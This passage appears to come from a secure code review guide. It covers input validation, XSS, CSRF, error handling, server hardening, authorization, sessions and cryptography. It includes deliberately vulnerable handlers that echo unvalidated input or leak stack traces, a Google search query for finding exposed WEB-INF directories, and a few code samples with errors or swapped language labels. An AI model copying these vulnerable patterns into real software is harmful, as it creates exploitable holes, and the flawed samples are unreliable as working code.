The recommended input validation technique for web services is to use a schema. A schema is a “map” of all the allowable values that each parameter can take for a given web service method. When a SOAP message is received by the web services handler the schema pertaining to the method being called is “run over” the message to validate the content of the soap message. There are two types of web service communication methods; XML-IN/XML-OUT and REST (Representational State Transfer). XML-IN/XML-OUT means that the request is in the form of a SOAP message and the reply is also SOAP. REST web services accept a URI request (Non XML) but return a XML reply. REST only supports a point-to-point solution wherein SOAP chain of communication may have multiple nodes prior to the final destination of the request. Validating REST web services input it the same as validating a GET request. Validating an XML request is best done with a schema.

```
<?xml version="1.0"?>

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns="http://server.test.com" targetNamespace="http://server.test.com"
elementFormDefault="qualified" attributeFormDefault="unqualified">
<xsd:complexType name="AddressIn">
<xsd:sequence>
        <xsd:element name="addressLine1" type="HundredANumeric" nillable="true"/>
        <xsd:element name="addressLine2" type="HundredANumeric" nillable="true"/>
        <xsd:element name="county" type="TenANumeric" nillable="false"/>
        <xsd:element name="town" type="TenANumeric" nillable="true"/>
        <xsd:element name="userId" type="TenANumeric" nillable="false"/>
</xsd:sequence>
</xsd:complexType>
<xsd:simpleType name="HundredANumeric">
        <xsd:restriction base="xsd:string">
                <xsd:minLength value="1"/>
                <xsd:maxLength value="100"/>
                <xsd:pattern value="[a-zA-Z0-9]"/>
        </xsd:restriction>
        </xsd:simpleType>
        <xsd:simpleType name="TenANumeric">
                <xsd:restriction base="xsd:string">
                        <xsd:minLength value="1"/>
                <xsd:maxLength value="10"/>
                <xsd:pattern value="[a-zA-Z0-9]"/>
            </xsd:restriction>
        </xsd:simpleType>
</xsd:schema>
```

Here we have a schema for an object called AddressIn. Each of the elements have restrictions applied to them and the restrictions (in red) define what valid characters can be inputted into each of the elements. What we need to look for is that each of the elements have a restriction applied to the as opposed to the simple type definition such as **xsd:string**. This schema also has the <xsd:sequence> tag applied to enforce the sequence of the data that is to be received.

REVIEWING CODE FOR XSS ISSUES

INTRODUCTION

XSS attacks are client side attacks which use a vulnerable website to attack the client. They exist due bad input validation and the echoing of user input data back to the browser. XSS attacks are commonly used for cookie theft, session hijacking, phishing among other attacks on application users/clients.

VULNERABLE CODE EXAMPLE

If the text inputted by the user is reflected back and has not been data validated the browser shall interpret the inputted script as part of the mark up and execute the code accordingly.

To mitigate this type of vulnerability we need to perform a number of security tasks in our code:

1. Validate data
2. Encode unsafe output

```
import org.apache.struts.action.*;
import org.apache.commons.beanutils.BeanUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public final class InsertEmployeeAction extends Action {
        public ActionForward execute(ActionMapping mapping, ActionForm form,
        HttpServletRequest request, HttpServletResponse response) throws Exception{
        // Setting up objects and vairables.
        Obj1 service = new Obj1();
        ObjForm objForm = (ObjForm) form;
        InfoADT adt = new InfoADT ();
        BeanUtils.copyProperties(adt, objForm);
        String searchQuery = objForm.getqueryString();
        String payload = objForm.getPayLoad();
        try {
            service.doWork(adt);  / /do something with the data
            ActionMessages messages = new ActionMessages();
            ActionMessage message = new ActionMessage("success",
        adt.getName() );
            messages.add( ActionMessages.GLOBAL_MESSAGE, message );
            saveMessages( request, messages );
            request.setAttribute("Record", adt);
            return (mapping.findForward("success"));
        }
        catch( DatabaseException de )
        {
            ActionErrors errors = new ActionErrors();
            ActionError error = new ActionError("error.employee.databaseException"
        + "Payload: "+payload);
            errors.add( ActionErrors.GLOBAL_ERROR, error );
            saveErrors( request, errors );
            return (mapping.findForward("error: "+ searchQuery));
        }
}
}
```

The text above shows some common mistakes in the development of this struts action class. Firstly the data passed in the HttpServletRequest is placed into a parameter without being data validated.

Focusing on XSS we can see that this action class returns either a message, ActionMessage in the case of the function being successful. In the case of an error the code in the Try/Catch block is executed and we can see here that the data inputted by the user, the data contained in the HttpServletRequest is returned to the user, unvalidated and exactly in the format in which the user inputted it.

```
import java.io.*;

import javax.servlet.http.*;

import javax.servlet.*;

public class HelloServlet extends HttpServlet
```

```
{
        public void doGet (HttpServletRequest req, HttpServletResponse res) throws
        ServletException, IOException

        {

                String input = req.getHeader("USERINPUT");

                PrintWriter out = res.getWriter();

                out.println(input);  // echo User input.

                out.close();

        }

}
```

A second example of an XSS vulnerable function. Echoing un-validated user input back to the browser would give a nice large vulnerability footprint.

.NET EXAMPLE (ASP.NET VERSION 1.1 ASP.NET VERSION 2.0):

The server side code for a VB.NET application may have similar functionality

```
' SearchResult.aspx.vb

Imports System

Imports System.Web

Imports System.Web.UI

Imports System.Web.UI.WebControls


Public Class SearchPage Inherits System.Web.UI.Page

Protected txtInput As TextBox

Protected cmdSearch As Button
Protected lblResult As Label Protected


Sub cmdSearch _Click(Source As Object, _ e As EventArgs)


// Do Search…..

            // …………

lblResult.Text="You Searched for: " & txtInput.Text

// Display Search Results…..

// …………

End Sub

End Class
```

This is a VB.NET example of a Cross Site Script vulnerable piece of search functionality which echoes back the data inputted by the user. To mitigate against this we need proper data validation and in the case of stored XSS attacks we need to encode known bad (as mentioned before).

PROTECTING AGAINST XSS

In the .NET framework there are some in-built security functions which can assist in data validation and HTML encoding, namley, ASP.NET 1.1 **request validation** feature and **HttpUtility.HtmlEncode**.

Microsoft in their wisdom state that you should not rely solely on ASP.NET request validation and that it should be used in conjunction with your own data validation, such as regular expressions (mentioned below).

The request validation feature is disabled on an individual page by specifying in the page directive

<%@ Page validateRequest="false" %>

or by setting **ValidateRequest="false"** on the **@ Pages** element.

or in the **web.config** file:

You can disable request validation by adding a

<**pages**> element with **validateRequest="false"**

So when reviewing code make sure the validateRequest directive is enabled an if not, investigate what method of DV is being used, if any. Check that ASP.NET Request validation Is enabled in **Machine.config** Request validation is enabled by ASP.NET by default. You can see the following default setting in the **Machine.config** file.

<pages validateRequest="true" ... />

HTML ENCODING:

Content to be displayed can easily be encoded using the HtmlEncode function. This is done by calling:

Server.HtmlEncode(string)

Using the html encoder example for a form:

Text Box: <%@ Page Language="C#" ValidateRequest="false" %>

<script runat="server">

void searchBtn _Click(object sender, EventArgs e) {

Response.Write(HttpUtility.HtmlEncode(inputTxt.Text)); }

</script>

<html>

<body>

<form id="form1" runat="server">

<asp:TextBox ID="inputTxt" Runat="server" TextMode="MultiLine" Width="382px" Height="152px">

</asp:TextBox>

```
<asp:Button ID="searchBtn" Runat="server" Text="Submit" OnClick=" searchBtn _Click" />

</form>

</body>

</html>
```

STORED CROSS SITE SCRIPT

Using Html encoding to encode potentially unsafe output.:

Malicious script can be stored/persisted in a database and shall not execute until retrieved by a user. This can also be the case in bulletin boards and some early web email clients. This incubated attack can sit dormant for a long period of time until a user decides to view the page where the injected script is present. At this point the script shall execute on the users browser:

The original source of input for the injected script may be from another vulnerable application, which is common in enterprise architectures. Therefore the application at hand may have good input data validation but the data persisted may not have been entered via this application per se, but via another application.

In this case we cannot be 100% sure the data to be displayed to the user is 100% safe (as it could of found its way in via another path in the enterprise). The approach to mitigate against this si to ensure the data sent to the browser is not going to be interpreted by the browser as mark-up and should be treated as user data.

We encode known bad to mitigate against this “enemy within”. This in effect assures the browser interprets any special characters as data and markup. How is this done? HTML encoding usually means **<** becomes **&lt;**, **>** becomes **&gt;**, **&** becomes **&amp;**, and **"** becomes **&quot;**.

From	To
<	&lt;
>	&gt;
(	&#40;
)	&#41;

#	&#35;
&	&amp;
"	&quot;

So for example the text <script> would be displayed as <script> but on viewing the markup it would be represented by &lt;script&gt;

REVIEWING CODE FOR CROSS-SITE REQUEST FORGERY ISSUES

INTRODUCTION

Cross-Site Request Forgery (CSRF) attacks are considered useful if the attacked knows the target is authenticated to a web based system. They dont work unless the target is logged into the system and therefore have a small attack footprint. In effect CSRF attacks are used by an attacker to make a target system perform a function via the targets browser without knowledge of the target user, at least until the unauthorised function has been comitted.

HOW THEY WORK:

See:

1. http://www.owasp.org/index.php/CSRF_Guard
2. http://www.owasp.org/index.php/Cross-Site_Request_Forgery

for a more detailed explaination but the main issue is the sending of a rogue HTTP request from an authenticated users browser to the application which shall commit a transaction without authorisation given by the target user. As long as the user is authenticated and a menaingful HTTP request is sent by the users browser to a target application the application does not know if origin of the request be it a valid transaction or a link clicked by the user (that was say, in an email) whilst the user is authenticated to the applications. So, as an example, using CSRF an attacker make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, or any other function provided by the vulnerable website.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

This issue is simple to detect but there may be compensating controls around the functionality of the application which may alert the user to a CSRF attempt. As long as the application accepts a well formed HTTP request and the request adheres to some business logic of the application CSRF shall work (From now on we assume the target user is logged into the system to be attacked).

By checking the page rendering we need to see if any unique identifiers are appended to the links rendered by the application in the users browser. (more on this later). If there is no unique identifier relating to each HTTP request to tie a HTTP request to the user we are vulnerable. Session ID is *not enough* as the session ID shall be sent anyway if a user clicks on a rogue link as the user is authenticated already.

VULNERABLE PATTERNS FOR CSRF

Any application that accepts HTTP requests from an authenticated user without having some control to verify that the HTTP request is unique to the users session. (Nearly all web applications!!). Session ID is not in scope here as the rogue HTTP request shall also contain a valid session ID as the user is authenticated already.

GOOD PATTERNS & PROCEDURES TO PREVENT CSRF

So checking the request has a valid session cookie is not enough, we need check that a unique identifier is sent with every HTTP request sent to the application. *CSRF requests WON'T have this valid unique identifier.*. The reason CSRF requests wont have this unique request identifer is the unique id is rendered as a hidden field on the page and is appended to the HTTP reuqest once a link/button press is selected. The attacker will have no knowledge of this unique id as it is random and rendered dynamically per link, per page.

1. A list is complied prior to delivering the page to the user. The list contains all valid unique Id's generated for all links on a given page. The unique Id could be derived from a secure random generator such as SecureRandom for J2EE.

2. A unique Id is appended to each link/form on the requested page prior to being displayed to the user.

3. Maintaining a list of unique id's in the user session, the application checks if the unique Id passed with the HTTP request is valid for a given request.

4. If the unique ID is not present terminate the user session, display an error to the user.

Related Articles

http://www.owasp.org/index.php/Cross-Site_Request_Forgery

REVIEWING CODE FOR ERROR HANDLING

ERROR, EXCEPTION HANDLING & LOGGING.

An important aspect of secure application development is to prevent information leakage. Error messages give an attacker great insight into the inner workings of an application.

The purpose of reviewing the Error Handling code is to assure the application fails safely under all possible error conditions, expected and unexpected. No sensitive information is presented to the user when an error occurs.

For example SQL injection is much tougher to successfully pull off without some healthy error messages. It lessens the attack footprint and our attacker would have to resort to use “blind SQL injection” which is more difficult and time consuming.

A well-planned error/exception handling strategy is important for three reasons:

1. Good error handling does not give an attacker any information which is a means to an end, attacking the application
2. A proper centralised error strategy is easier to maintain and reduces the chance of any uncaught errors “Bubbling up” to the front end of an application.
3. Information leakage can lead to social engineering exploits.

Some development languages provide checked exceptions which mean that the compiler shall complain if an exception for a particular API call is not caught Java and C# are good examples of this. Languages like C++ and C do not provide this safety net. Languages with checked exception handling still are prone to information leakage as not all types of error are checked for.

When an exception or error is thrown we also need to log this occurrence. Sometimes this is due to bad development, but it can be the result of an attack or some other service your application relies on failing.

All code paths that can cause an exception to be thrown should check for success in order for the exception not to be thrown.

To avoid a NullPointerException we should check is the object being accessed is not null.

GENERIC ERROR MESSAGES

We should use a localized description string in every exception, a friendly error reason such as “System Error – Please try again later”. When the user sees an error message, it will be derived from this description string of the exception that was thrown, and never from the exception class which may contain a stack trace, line number where the error occurred, class name or method name.

Do not expose sensitive information in exception messages. Information such as paths on the local file system is considered privileged information; any system internal information should be hidden from the user. As mentioned before an attacker could use this information to gather private user information from the application or components that make up the app.

Don’t put people’s names or any internal contact information in error messages. Don’t put any “human” information, which would lead to a level of familiarity and a social engineering exploit.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

JAVA

In java we have the concept of an error object, the Exception object. This lives in the java package java.lang and is derived from the Throwable object Exceptions are thrown when an abnormal occurrence has occurred. Another object derived from Throwable is the Error object, which is thrown when something more serious occurs.

Information leakage can occur when developers use some exception methods, which ‘bubble’ to the user UI due to a poor error handling strategy. The methods are as follows: printStackTrace() getStackTrace()

Also is important to know that the output of these methods is printed in System console, the same as System.out.println(e) where e is an Exception. Be sure to not redirect the outputStream to PrintWriter object of JSP, by convention called "out". Ex. printStackTrace(out);

Also another object to look at is the java.lang.system package:

setErr() and the System.err field.

.NET

In .NET a System.Exception object exists. Commonly used child objects such as ApplicationException and SystemException are used. It is not recommended that you throw or catch a SystemException this is thrown by runtime.

When an error occurs, either the system or the currently executing application reports it by throwing an exception containing information about the error, similar to java. Once thrown, an exception is handled by the application or by the default exception handler. This Exception object contains similar methods to the java implementation such as:

StackTrace Source Message HelpLink

In .NET we need to look at the error handling strategy from the point of view of global error handling and the handling of unexpected errors. This can be done in many ways and this article is not an exhaustive list. Firstly an Error Event is thrown when an unhandled exception is thrown. This is part of the TemplateControl class.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfSystemWebUITemplateControlClassErrorTopic.asp

Error handling can be done in three ways in .NET

- In the web.config file's customErrors section.
- In the global.asax file's Application_Error sub.
- On the aspx or associated codebehind page in the Page_Error sub

The order of error handling events in .NET is as follows:

1. On the Page in the Page_Error sub.
2. The global.asax Application_Error sub
3. The web.config file

It is recommended to look in these areas to understand the error strategy of the application.

VULNERABLE PATTERNS FOR ERROR HANDLING

Page_Error

Page_Error is page level handling which is run on the server side. Below is an example but the error information is a little too informative and hence bad practice.

FIXME: code formatting

```
<script language="C#" runat="server"> Sub Page_Error(Source As Object, E As EventArgs)
Dim message As String = "<font face=verdana color=red><h1>" & Request.Url.ToString()&
"</h1>" & "<pre><font color='red'>" & Server.GetLastError().ToString()& "</pre></font>"
Response.Write(message) // display message End Sub </script>
```

The red text in the example above has a number of issues: Firstly it redisplays the HTTP request to the user in the form of Request.Url.ToString() Assuming there has been no data validation prior to this point we are vulnerable to cross site scripting attacks!! Secondly the error message and stack trace is displayed to the user using Server.GetLastError().ToString() which divulges internal information regarding the application.

After the Page_Error is called, the Application_Error sub is called:

Global.asax

When an error occurs, the Application_Error sub is called. In this method we can log the error and redirect to another page.

```
<%@ Import Namespace="System.Diagnostics" %>

 <script language="C#" runat="server">

  void Application_Error(Object sender, EventArgs e) {

     String Message = "\n\nURL: http://localhost/" + Request.Path

                 + "\n\nMESSAGE:\n " + Server.GetLastError().Message

                 + "\n\nSTACK TRACE:\n" + Server.GetLastError().StackTrace;

     // Insert into Event Log

     EventLog Log = new EventLog();

     Log.Source = LogName;
```

```
        Log.WriteEntry(Message, EventLogEntryType.Error);

      Server.Redirect(Error.htm) // this shall also clear the error

   }

</script>
```

Above is an example of code in Global.asax and the Application_Error method. The error is logged and then the user is redirected. Unvalidated parameters are being logged here in the form of Request.Path. Care must be taken not to log or redisplay unvalidated input from any external source.

Web.config

Web.config has a custom errors tag which can be used to handle errors. This is called last and if Page_error or Application_error called and has functionality that functionality shall be executed first. As long as the previous two handling mechanisms do not redirect or clear (Response.Redirect or a Server.ClearError) this shall be called. And you shall be forwarded to the page defined in web.config

```
<customErrors defaultRedirect="error.html" mode="On|Off|RemoteOnly">

   <error statusCode="statuscode" redirect="url"/>

</customErrors>
```

The "On" directive means that custom errors are enabled. If no defaultRedirect is specified, users see a generic error. "Off" directive means that custom errors are disabled. This allows display of detailed errors. "RemoteOnly" specifies that custom errors are shown only to remote clients, and ASP.NET errors are shown to the local host. This is the default.

```
<customErrors mode="On" defaultRedirect="error.html">

    <error statusCode="500" redirect="err500.aspx"/>

    <error statusCode="404" redirect="notHere.aspx"/>

    <error statusCode="403" redirect="notAuthz.aspx"/>

</customErrors>
```

BEST PRACTICES FOR ERROR HANDLING

Try & Catch (Java/ .NET)

Code that might throw exceptions should be in a try block and code that handles exceptions in a catch block. The catch block is a series of statements beginning with the keyword catch, followed by an exception type and an action to be taken. These are very similar in Java and .NET

Example:

Java Try-Catch:

```
public class DoStuff {

   public static void Main() {

      try {

         StreamReader sr = File.OpenText("stuff.txt");

         Console.WriteLine("Reading line {0}", sr.ReadLine());

      }

      catch(Exception e) {

         Console.WriteLine("An error occurred. Please leave to room");

           logerror("Error: ", e);

      }

   }

}
```

.NET try – catch

```
public void run() {

         while (!stop) {
            try {

               // Perform work here

            } catch (Throwable t) {

               // Log the exception and continue

                    WriteToUser("An Error has occurred, put the kettle on");

               logger.log(Level.SEVERE, "Unexception exception", t);

            }

         }

      }
```

In general, it is best practice to catch a specific type of exception rather than use the basic catch(Exception) or catch(Throwable) statement in the case of Java.

Releasing resources and good housekeeping

If the language in question has a finally method use it. The finally method is guaranteed to always be called. The finally method can be used to release resources referenced by the method that threw the exception. This is very important. An example would be if a method gained a database connection from a pool of connections and an exception occurred without finally the connection object shall not be returned to the pool for some time (until the timeout). This can lead to pool exhaustion. finally() is called even if no exception is thrown.

```
try {

     System.out.println("Entering try statement");

     out = new PrintWriter(new FileWriter("OutFile.txt"));

    //Do Stuff….

  } catch (Exception e) {

     System.err.println("Error occurred!");

  } catch (IOException e) {
     System.err.println("Input exception ");
  } finally {
     if (out != null) {
       out.close(); // RELEASE RESOURCES
     }
  }
```

A Java example showing finally() being used to release system resources.

Centralised exception handling (Struts Example)

Building an infrastructure for consistent error reporting proves more difficult than error handling. Struts provides the ActionMessages & ActionErrors classes for maintaining a stack of error messages to be reported, which can be used with JSP tags like <html: error> to display these error messages to the user.

To report a different severity of a message in a different manner (like error, warning, or information) the following tasks are required:

- Register, instantiate the errors under the appropriate severity
- Identify these messages and show them in a constant manner.

Struts ActionErrors class makes error handling quite easy:

```
ActionErrors errors = new ActionErrors()
errors.add("fatal", new ActionError("...."));
errors.add("error", new ActionError("...."));
errors.add("warning", new ActionError("...."));
errors.add("information", new ActionError("...."));
saveErrors(request,errors); // Important to do this
```

Now we have added the errors we display them by using tags in the HTML page.

```
<logic:messagePresent property="error">

<html:messages property="error" id="errMsg" >

   <bean:write name="errMsg"/>

</html:messages>

</logic:messagePresent >
```

REVIEWING THE SECURE CODE ENVIRONMENT

SECURE CODE ENVIRONMENT

Another important thing to be aware of is when you receive the code make sure it is identical in deployment layout to what would go to production. Having well-written code is a great start, but deploying that great code in unprotected folders on the application server is not a great idea. Attackers do code reviews also and what better than to code review the potential target application. For example: try in "***Google***": http://www.google.com/search?q=%0D%0Aintitle%3Aindex.of+WEB-INF

This lists exposed "*Web-Inf*" directories on WebSphere®, Tomcat and other app servers.

*The WEB-INF directory tree contains web application classes, pre-compiled JSP files, server side libraries, session information and files such as **web.xml** and **webapp.properties**.*

So be sure the code base is identical to production. Ensuring that we have a "*secure code environment*" is also an important part of an application secure code inspection.

The code may be "bullet proof" but if it is accessible to a user this may cause other problems. Remember the developer is not the only one to perform code reviews, attackers also do this. The only visible surface that a user should see are the "suggestions" rendered by the browser upon receiving the HTML from the backend server. Any request to the backend server outside the strict context of the application should be refused and not be visible. Generally think of *"That which is not explicitly granted is denied"*.

Example of the Tomcat web.xml to prevent directory indexing:

```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>

<param-value>0</param-value>
</init-param>
```

```
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```

So to deny access to all directories we put:

```
<Directory />
Order Deny,Allow
Deny from All
</Directory>
```

And then override this for the directories we require access to:

Also in Apache HTTP server to ensure directories like WEB-INF and META-INF are protected the following should be added to the *httpd.conf*, the main configuration file for the Apache web server

```
<Directory /usr/users/*/public_html>
Order Deny,Allow
Allow from all
</Directory>
<Directory /usr/local/httpd>

Order Deny,Allow
Allow from all
</Directory>
```

On Apache servers, if we wish to specify permissions for a directory and subdirectories we add a ***.htaccess*** file.

To protect the .htaccess file itself we palce:

```
<Files .htaccess>
order allow,deny
deny from all
</Files>
```

To stop directory indexing we place the following directive into the .htaccess file: **IndexIgnore *** The * is a wildcard to prevent all files from being indexed.

PROTECTING JSP PAGES

If using the Struts framework we do not want users access any JSP page directly. Accessing the JSP directly without going through the request processor can enable the attacker to view any server-side code in the JSP. Lets say initial page can is a HTML document. So the HTTP GET from the browser retrieves this page. Any subsequent page must go through the framework. Add the following lines to the **web.xml** file to prevent users from accessing any JSP page directly:

```
<web-app>
  ...
 <security-constraint>
   <web-resource-collection>
     <web-resource-name>no_access</web-resource-name>
     <url-pattern>*.jsp</url-pattern>
   </web-resource-collection>
   <auth-constraint/>
 </security-constraint>
 ...
</web-app>
```

With this directive in **web.xml** a HTTP request for a JSP page directly will fail.

A CLEAN ENVIRONMENT

When reviewing the environment we must see if the directories contain any artefacts from development. These files may not be referenced in any way and hence the application server gives no protection to them. Files such as .**bak, .old, .tmp** etc should be removed as they contain source code.

Source code should not go into production directories. The complied class files are all that is required in most cases. All source code should be removed and only the "executables" should remain.

No development tools should be present on a production environment. For example a java application should only need a JRE (Java Runtime Environment) and not a JDK (Java Development Kit) to function.

Test and debug code should be removed from all source code and configuration files. Even commented out code should be removed as a precaution. Test code can contain backdoors that circumvent the workflow in the application and at worst contain valid authentication credentials or account details.

Comments on code and Meta tags pertaining to the IDE used or technology used to develop the application should be removed. Some comments can divulge important information regarding bugs in code or pointers to functionality. This is particularly important with client side code such as JSP's and ASP files.

A copyright and confidentiality statement should be at the top of every file. This mitigates any confusion regarding who owns the code. This may seem trivial but it is important to state who owns the code.

To sum up, code review includes looking at the configuration of the application server and not just the code. Knowledge of the server in question is important and information is easily available on the web.

REVIEWING CODE FOR AUTHORIZATION ISSUES

INTRODUCTION

Authorization issues cover a wide array of layers in a web application; from the functional authorization of a user to gain access to a perticular funcation of the application is at the app layer to the Database access authorization and least privilege issues at the persistence layer. So what to look for whe performing a code review. From an attack perspective the most common issues are a result of curiousity and also exploitation of vulnerabilities such as SQL injection. **Example**: A Database account used by an application with system/admin access upon which the application was vulnerable to SQL injection would result in a higher degree of impact rather than the same vulnerable application with a least privilege database account.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

Business logic errors are key areas in which to look for authorization erors. Areas wherein authorization checks are performed are worth looking at. Logical conditional cases are areas for examination such as malformed logic:

```
if user.equals("NormalUser"){
   grantUser(Normal_Permissions);
}else{ //user must be admin/super
  grantUser("Super_Persmissions);
}
```

VULNERABLE PATTERNS FOR AUTHORIZATION ISSUES

One area of examination is to see if the authorization model simply relies on not displaying certain functions which the user has not authorization to use, Security by obsecurity in effect. If a crawl can be performed on the application links may be discovered which are not on the users GUI. Simple HTTP Get requests can uncover "Hidden" links. Obviously a map on the server side should be used to see if one is authorized to perform a task and we should not rely on the gui "hiding" buttons and links.

So disabling buttons on the client due to the authorization level of user shall not prevent the user from executing the action relating to the button.

```
document.form.adminfunction.disabled=true;
```

```
<form action="./doAdminFunction.asp">
```

By simply saving the page locally and editing the disabled=true to disabled=false and adding the absolute form action one can proceed to activate the disabled button.

HOTSPOTS

The Database: The account used by the application to access the database. Ensure least privilege is in effect.

ASP.NET: (web.config)

The <authorization> element controls ASP.NET URL authorization and the accessability to gain access to specific folders, pages, and resources by users/web clients. Make sure that only authenticated users are authorized to see/visit certain pages.

```
<system.web>
 <authorization>
   <deny users="?"/>   <-- Annonymous users are denied access. Users must be
authenticated.
 </authorization>
</system.web>
```

The roleManager Element in ASP.NET 2.0 is used to assist in managing roles within the framework. It assists the developer as not as much bespoke code needs to be developed. In web.config to see if it is enabled check:

```
<system.web>
..........
<roleManager enabled="true|false" <providers>...</providers> </roleManager>
..........
</system.web>
```

APACHE 1.3

In Apache 1.3 there is a file called httpd. Access control can be implemented from here in the form of the *Allow* and *Deny* directives. *allow from address* is the usage where address is the IP address or domain name to apply access to. Note this granularity is host level granularity.

deny from 124.20.0.249 denies access to that IP.

Order ensures that the 'order'of access is observed.

Order Deny,Allow Deny from all Allow from owasp.org

Above, all is denied apart from owasp.org

To move the authorization to the user level in apache we can use the *Satisfy* directive.

REVIEWING CODE FOR AUTHENTICATION

INTRODUCTION

"Who are you?" Authentication is the process where an entity proves the identity of another entity, typically through credentials, such as a user name and password.

Depending on your requirements, there are several available authentication mechanisms to choose from. If they are not correctly chosen and implemented, the authentication mechanism can expose vulnerabilities that attackers can exploit to gain access to your system.

AUTHENTICATION

In the .NET, there is Authentication tags in the configuration file.

The <**authentication**> element configures the authentication mode that your applications use.

<**authentication**>

The appropriate authentication mode depends on how your application or Web service has been designed. The default Machine.config setting applies a secure Windows authentication default as shown below.

authentication Attributes:mode="[Windows|Forms|Passport|None]"

<authentication mode="Windows" />

FORMS AUTHENTICATION GUIDELINES

To use Forms authentication, set mode="Forms" on the <authentication> element. Next, configure Forms authentication using the child <forms> element. The following fragment shows a secure <forms> authentication element configuration:

<authentication mode="Forms"> <forms loginUrl="Restricted\login.aspx" Login page in an SSL protected folder

```
    protection="All"                Privacy and integrity
    requireSSL="true"               Prevents cookie being sent over http
    timeout="10"                    Limited session lifetime
    name="AppNameCookie"                Unique per-application name
    path="/FormsAuth"                   and path
    slidingExpiration="true" >          Sliding session lifetime
</forms> </authentication>
```

Use the following recommendations to improve Forms authentication security:

- Partition your Web site.
- Set protection="All".
- Use small cookie time-out values.
- Consider using a fixed expiration period.
- Use SSL with Forms authentication.
- If you do not use SSL, set slidingExpiration = "false".
- Do not use the <credentials> element on production servers.
- Configure the <machineKey> element.
- Use unique cookie names and paths.

REVIEWING CODE FOR SESSION INTEGRITY ISSUES

INTRODUCTION

Cookies can be used to maintain a session state. This identifies a user whilst in the middle of using the application. Session Id's are a popular method of idenfityinq an ser. A "secure" session Id should be at least 128 bits in length and sufficiently random. Cookies can also be used to identify a user but care must be taken in using cookies. Generally it is not recommended to implement a SSO (Single Sign on) solution usign cookies, they were never intended for such use. Persistent cookes are stored on a user hard disk and are valid depending on the expiry date defined in the cookie. The following are pointers when reviewing cookie related code.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

If the cookie object is being set with various attributes apatrt from the session ID check the the cookie is set only to transmitt over HTTPS/SSL. In java this is perfromed by the method

cookie.setSecure() (Java)

cookie.secure = secure; .NET

HTTP ONLY COOKIE

This is adhered to in IE6 and above... HTTP Only cookie is meant to provide protection agains XSS by not letting client side script accessing the cookie. Its a step in the right direction but not a silver bullet.

cookie.HttpOnly = true (C#)

Here cookie should only be accessable via ASP.NET

LIMITING COOKIE DOMAIN

Ensure cookies are limitead to a domain such as example.com. Therefore the cookie is associated to example.com. If the cookie is associated iwth other domains the following code performs this:

Response.Cookies("domain").Domain = "support.example.com (VB)

Response.Cookies["domain"].Domain = "support.example.com"; (C#)

During the review if the cookie is assigned to more than one domain make note of it and query why this is the case.

DISPLAYING DATA TO USER FROM COOKIE

Make sure that data being displayed to a user from a cookie is HTML encoded. This mitigates some forms of Cross Site Scripting.

LabelX.Text = Server.HtmlEncode(Request.Cookies["userName"].Value); (C#)

SESSION TRACKING/MANAGEMENT TECHNIQUES

HTML HIDDEN FIELD

The HTML Hidden field could be used to perform session tracking. Upon each HTTP POST request the hidden field is passed to the server identifying the user. It would be in the form of

<INPUT TYPE="hidden"
NAME="user"VALUE="User001928394857738000094857hfduekjkksowie039848jej393">
Server-side code is used to perform validation on the VALUE in order to ensure the used is valid. This approach can only be used for POST/Form requests.

URL REWRITING

URL rewriting approaches session tracking by appending a unique id pertaining to the user at the end of the URL.

<A
HREF="/smackmenow.htm?user=User001928394857738000094857hfduekjkksowie039848je
j393">Click Here</A>

LEADING PRACTICE PATTERNS FOR SESSION MANAGEMENT/INTEGRITY

HTTPOnly Cookie: Prevents cookie access via client side script. Not all browsers support such a directive.

VALID SESSION CHECKING

Upon any HTTP request the framework should check if the user pertaining to the HTTP request (vis session ID) is valid.

Successful Authentication

Upon a successful login the user should be issued a new session identifier. The old session Id should be invalidated. This prevents session fixation attacks and the same browser also sharing the same session ID in a multi user environment. SOme times the session Id is per browser and the session remains valid while the browser is alive.

Logout: This also leads to the idea of why a logout button is so important. The logout button should invalidate the users session Id when it is selected.

RELATED ARTICLES

http://www.owasp.org/index.php/Category:OWASP_Cookies_Database

http://msdn2.microsoft.com/en-us/library/ms533046.aspx

http://java.sun.com/j2ee/sdk_1.3/techdocs/api/javax/servlet/http/Cookie.html

REVIEWING CRYPTOGRAPHIC CODE

INTRODUCTION

There are two types of cryptography in this world: cryptography that will stop your kid sister from reading your files, and cryptography that will stop major governments from reading your files [1]. Developers are at the forefront of deciding which category a particular application resides in. Cryptography provides for security of data at rest (via encryption), enforcement of data integrity (via hashing/digesting), and non-repudiation of data (via signing). As a result, the coding in a secure manner of any of the above cryptographic processes within source code must conform in principle to the use of standard cryptographically secure algorithms with strong key sizes.

The use of non-standard cryptographic algorithms, custom implementation of cryptography (standard & non-standard) algorithms, use of standard algorithms which are cryptographically insecure (e.g. DES), and the implementation of insecure keys can weaken the overall security posture of any application. Implementation of the methods aforementioned enables the use of known cryptanalytic tools & techniques to decrypt sensitive data.

RELATED SECURITY ACTIVITIES

Guide to Cryptography
Using the Java Cryptographic Extensions

USE OF STANDARD CRYPTOGRAPHIC LIBRARIES

As a general recomendation, there is strong reasoning behind not creating custom cryptographic libraries and algorithms. There is a huge distinction between groups organisations and individuals developing cryptographic algorithms and those that implement cryptography either in software or in hardware.

.NET AND C/C++ (WIN32)

For .NET code, class libraries and implementations within System.Security.Cryptography should be used [2]. This namespace within .NET aims to provide a number of wrappers that do not require proficient knowledge of cryptography in order to use it [3].

For C/C++ code running on Win32 platforms, the CryptoAPI is recommended [2]. This has been an integral component for any Visual C++ developer's toolkit prior to the release of the latest replacement with Windows Vista. The CryptoAPI today offers an original benchmark for what will become legacy applications.

JAVA

The Java Cryptography Extension (JCE) [5] was introduced as an optional package in the Java 2 SDK and has since been included with J2SE 1.4 and later versions. When implementing code in this language, the use of a library that is a provider of the JCE is recommended. Sun provides a list of companies that act as Cryptographic Service Providers and/or offer clean room implementations of the Java Cryptography Extension [6].

